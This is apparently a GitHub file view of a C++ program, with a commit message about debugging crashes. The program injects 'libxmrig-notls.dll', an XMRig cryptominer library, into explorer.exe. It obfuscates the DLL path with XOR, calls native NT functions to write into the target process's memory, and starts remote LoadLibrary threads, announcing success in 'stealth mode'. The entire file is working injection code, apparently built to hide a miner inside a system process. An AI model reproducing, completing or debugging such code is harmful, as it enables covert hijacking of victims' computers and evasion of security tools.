This commit reverts all previous CMake and C++ modifications made during the attempt to implement automatic CUDA/OpenCL detection. It also includes the current state of string replacements and new test files (test_xmrig.cpp, dll_injector.cpp, dll_injectorWORKING.cpp) for debugging application crashes. The primary goal of this commit is to save all current progress to GitHub before further debugging.
182 lines
7.5 KiB
C++
182 lines
7.5 KiB
C++
#include <windows.h>
|
|
#include <tlhelp32.h>
|
|
#include <psapi.h> // For EnumProcessModules
|
|
#include <winternl.h>
|
|
#include <iostream>
|
|
#include <vector>
|
|
|
|
// Typedefs (same)
|
|
typedef NTSTATUS (NTAPI* NtOpenProcess_t)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PCLIENT_ID);
|
|
typedef NTSTATUS (NTAPI* NtAllocateVirtualMemory_t)(HANDLE, PVOID*, ULONG_PTR, PSIZE_T, ULONG, ULONG);
|
|
typedef NTSTATUS (NTAPI* NtWriteVirtualMemory_t)(HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T);
|
|
typedef NTSTATUS (NTAPI* NtProtectVirtualMemory_t)(HANDLE, PVOID*, PSIZE_T, ULONG, PULONG);
|
|
typedef NTSTATUS (NTAPI* NtCreateThreadEx_t)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, HANDLE, PVOID, PVOID, ULONG, SIZE_T, SIZE_T, SIZE_T, PVOID);
|
|
|
|
// XOR helpers (same)
|
|
const BYTE XOR_KEY = 0xAA;
|
|
std::string XORObfuscate(const std::string& str) {
|
|
std::string out = str;
|
|
for (char& c : out) c ^= XOR_KEY;
|
|
return out;
|
|
}
|
|
std::string XORDeobfuscate(const std::string& str) {
|
|
return XORObfuscate(str);
|
|
}
|
|
|
|
// PID finder (same)
|
|
DWORD FindProcessId(const std::wstring& processName) {
|
|
DWORD pid = 0;
|
|
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
|
if (hSnapshot != INVALID_HANDLE_VALUE) {
|
|
PROCESSENTRY32W pe32 = { sizeof(PROCESSENTRY32W) };
|
|
if (Process32FirstW(hSnapshot, &pe32)) {
|
|
do {
|
|
if (processName == pe32.szExeFile) {
|
|
pid = pe32.th32ProcessID;
|
|
break;
|
|
}
|
|
} while (Process32NextW(hSnapshot, &pe32));
|
|
}
|
|
CloseHandle(hSnapshot);
|
|
}
|
|
return pid;
|
|
}
|
|
|
|
// Get remote DLL base address (via EnumProcessModules)
|
|
HMODULE GetRemoteModuleBase(HANDLE hProcess, const std::string& dllName) {
|
|
HMODULE hMods[1024];
|
|
DWORD cbNeeded;
|
|
if (EnumProcessModules(hProcess, hMods, sizeof(hMods), &cbNeeded)) {
|
|
DWORD numMods = cbNeeded / sizeof(HMODULE);
|
|
for (DWORD i = 0; i < numMods; i++) {
|
|
char szModName[MAX_PATH];
|
|
if (GetModuleBaseNameA(hProcess, hMods[i], szModName, sizeof(szModName))) {
|
|
if (dllName == szModName) {
|
|
return hMods[i];
|
|
}
|
|
}
|
|
}
|
|
}
|
|
return NULL;
|
|
}
|
|
|
|
// Helper to print NTSTATUS as hex + Win32 error
|
|
void PrintError(const char* op, NTSTATUS status) {
|
|
DWORD err = GetLastError(); // Win32 equiv
|
|
std::cerr << op << " failed with NTSTATUS 0x" << std::hex << status << " (Win32: " << std::dec << err << ")\n";
|
|
}
|
|
|
|
// Simplified InjectDLL (no args, longer wait for enum)
|
|
bool InjectDLL(DWORD pid, const std::string& dllPathObf) {
|
|
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
|
|
if (!hNtdll) { std::cerr << "GetModuleHandle(ntdll.dll) failed\n"; return false; }
|
|
|
|
NtOpenProcess_t pNtOpen = (NtOpenProcess_t)GetProcAddress(hNtdll, "NtOpenProcess");
|
|
NtAllocateVirtualMemory_t pNtAlloc = (NtAllocateVirtualMemory_t)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
|
|
NtWriteVirtualMemory_t pNtWrite = (NtWriteVirtualMemory_t)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
|
|
NtCreateThreadEx_t pNtCreate = (NtCreateThreadEx_t)GetProcAddress(hNtdll, "NtCreateThreadEx");
|
|
if (!pNtOpen || !pNtAlloc || !pNtWrite || !pNtCreate) {
|
|
std::cerr << "GetProcAddress failed for NT APIs\n";
|
|
return false;
|
|
}
|
|
|
|
// Deobfuscate DLL path
|
|
std::string dllPath = XORDeobfuscate(dllPathObf);
|
|
SIZE_T dllPathSize = dllPath.size() + 1;
|
|
|
|
// Step 1: Open process
|
|
HANDLE hProcess = NULL;
|
|
OBJECT_ATTRIBUTES oa = { sizeof(OBJECT_ATTRIBUTES) };
|
|
CLIENT_ID cid = { (HANDLE)(ULONG_PTR)pid, NULL };
|
|
NTSTATUS status = pNtOpen(&hProcess, PROCESS_ALL_ACCESS, &oa, &cid);
|
|
if (status != 0) {
|
|
PrintError("NtOpenProcess", status);
|
|
return false;
|
|
}
|
|
if (!hProcess) { std::cerr << "NtOpenProcess returned NULL handle\n"; return false; }
|
|
|
|
// Step 2: Alloc/write DLL path
|
|
PVOID pRemoteDllPath = NULL;
|
|
SIZE_T regionSize = dllPathSize;
|
|
status = pNtAlloc(hProcess, &pRemoteDllPath, 0, ®ionSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
|
if (status != 0) {
|
|
PrintError("NtAllocateVirtualMemory (DLL path)", status);
|
|
CloseHandle(hProcess);
|
|
return false;
|
|
}
|
|
SIZE_T bytesWritten = 0;
|
|
status = pNtWrite(hProcess, pRemoteDllPath, (PVOID)dllPath.c_str(), dllPathSize, &bytesWritten);
|
|
if (status != 0 || bytesWritten != dllPathSize) {
|
|
PrintError("NtWriteVirtualMemory (DLL path)", status);
|
|
regionSize = 0; pNtAlloc(hProcess, &pRemoteDllPath, 0, ®ionSize, MEM_RELEASE, 0);
|
|
CloseHandle(hProcess);
|
|
return false;
|
|
}
|
|
|
|
// Step 3: LoadLibrary remote thread
|
|
HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
|
|
LPTHREAD_START_ROUTINE pLoadLibrary = (LPTHREAD_START_ROUTINE)GetProcAddress(hKernel32, "LoadLibraryA");
|
|
if (!pLoadLibrary) { std::cerr << "GetProcAddress(LoadLibraryA) failed\n"; regionSize = 0; pNtAlloc(hProcess, &pRemoteDllPath, 0, ®ionSize, MEM_RELEASE, 0); CloseHandle(hProcess); return false; }
|
|
|
|
HANDLE hLoadThread = NULL;
|
|
OBJECT_ATTRIBUTES threadOA = { sizeof(OBJECT_ATTRIBUTES) };
|
|
status = pNtCreate(&hLoadThread, THREAD_ALL_ACCESS, &threadOA, hProcess, (PVOID)pLoadLibrary, pRemoteDllPath, 0, 0, 0, 0, NULL);
|
|
if (status != 0) {
|
|
PrintError("NtCreateThreadEx (LoadLibrary)", status);
|
|
regionSize = 0; pNtAlloc(hProcess, &pRemoteDllPath, 0, ®ionSize, MEM_RELEASE, 0); CloseHandle(hProcess); return false;
|
|
}
|
|
if (!hLoadThread) { std::cerr << "NtCreateThreadEx returned NULL thread\n"; regionSize = 0; pNtAlloc(hProcess, &pRemoteDllPath, 0, ®ionSize, MEM_RELEASE, 0); CloseHandle(hProcess); return false; }
|
|
WaitForSingleObject(hLoadThread, INFINITE);
|
|
DWORD loadExitCode = 0;
|
|
GetExitCodeThread(hLoadThread, &loadExitCode); // HMODULE as exit code
|
|
std::cout << "LoadLibrary thread exited with 0x" << std::hex << loadExitCode << " (DLL base if !=0)\n";
|
|
CloseHandle(hLoadThread);
|
|
|
|
// Double-load
|
|
status = pNtCreate(&hLoadThread, THREAD_ALL_ACCESS, &threadOA, hProcess, (PVOID)pLoadLibrary, pRemoteDllPath, 0, 0, 0, 0, NULL);
|
|
if (status != 0) {
|
|
PrintError("NtCreateThreadEx (double-load)", status);
|
|
}
|
|
WaitForSingleObject(hLoadThread, INFINITE);
|
|
CloseHandle(hLoadThread);
|
|
|
|
// Cleanup DLL path mem
|
|
regionSize = 0; pNtAlloc(hProcess, &pRemoteDllPath, 0, ®ionSize, MEM_RELEASE, 0);
|
|
|
|
// Step 4: Wait for module list update, then get remote DLL base
|
|
Sleep(2000); // 2s delay for explorer to register module
|
|
HMODULE hRemoteDll = GetRemoteModuleBase(hProcess, "libxmrig-notls.dll");
|
|
if (!hRemoteDll) {
|
|
std::cerr << "GetRemoteModuleBase failed - DLL not loaded? Check LoadLibrary exit code above.\n";
|
|
CloseHandle(hProcess);
|
|
return false;
|
|
}
|
|
std::cout << "DLL loaded at remote base 0x" << std::hex << hRemoteDll << "\n";
|
|
|
|
// No args injection - DllMain's InitThread runs default start_a
|
|
CloseHandle(hProcess);
|
|
return true;
|
|
}
|
|
|
|
int main() {
|
|
std::wstring targetName = L"explorer.exe";
|
|
DWORD pid = FindProcessId(targetName);
|
|
if (pid == 0) {
|
|
std::cerr << "Target process not found!" << std::endl;
|
|
return 1;
|
|
}
|
|
|
|
std::string dllPathPlain = "C:\\Users\\MyWindowsUser\\Downloads\\test_on_windows\\libxmrig-notls.dll";
|
|
std::string dllPathObf = XORObfuscate(dllPathPlain);
|
|
|
|
if (InjectDLL(pid, dllPathObf)) {
|
|
std::cout << "DLL injected into PID " << pid << " (stealth mode)!" << std::endl;
|
|
Sleep(5000);
|
|
} else {
|
|
std::cerr << "Injection failed!" << std::endl;
|
|
return 1;
|
|
}
|
|
|
|
return 0;
|
|
}
|